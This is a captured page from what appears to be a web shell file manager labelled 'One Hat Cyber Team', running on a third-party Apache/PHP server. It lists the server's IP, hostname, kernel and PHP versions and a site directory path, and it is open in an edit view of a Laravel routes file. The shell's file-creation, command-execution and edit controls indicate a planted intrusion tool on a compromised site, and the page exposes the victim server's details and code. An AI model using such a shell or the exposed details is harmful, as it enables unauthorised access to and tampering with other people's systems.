⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.10
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
tech
/
web.techlup.co.ke
/
Blog
/
routes
/
Edit File: web.php
<?php use App\Http\Controllers\ProfileController; use Illuminate\Support\Facades\Route; // front page routes Route::namespace('App\Http\Controllers')->group(function () { Route::get('/', 'PageController@index')->name('welcome'); Route::get('/blog/{slug}', 'PageController@blog')->name('blog'); Route::get('/blogs/{category}', 'PageController@blogs')->name('blogs'); Route::get('/contact', 'PageController@contact')->name('contact'); Route::get('/about', 'PageController@about')->name('about'); Route::get('/author', 'PageController@author')->name('author'); Route::get('/podcasts', 'PageController@podcasts')->name('podcasts'); Route::get('/downloads', 'PageController@downloads')->name('downloads'); }); Route::middleware('auth')->namespace('App\Http\Controllers')->group(function () { Route::get('/dashboard', 'DashboardController@index')->name('dashboard'); }); Route::middleware('auth')->group(function () { Route::get('/profile', [ProfileController::class, 'edit'])->name('profile.edit'); Route::patch('/profile', [ProfileController::class, 'update'])->name('profile.update'); Route::delete('/profile', [ProfileController::class, 'destroy'])->name('profile.destroy'); }); // admin routes Route::namespace('App\Http\Controllers\Admin')->middleware(['auth', 'role:admin'])->prefix('admin')->as('admin.')->group(function (){ Route::resource('/videos', 'VideoController')->names('videos'); Route::resource('/blogs', 'BlogController')->names('blogs'); Route::resource('/downloads', 'DownloadController')->names('downloads'); Route::resource('/blog-categories', 'BlogCategoryController')->names('blogs.categories'); }); require __DIR__.'/auth.php';
Simpan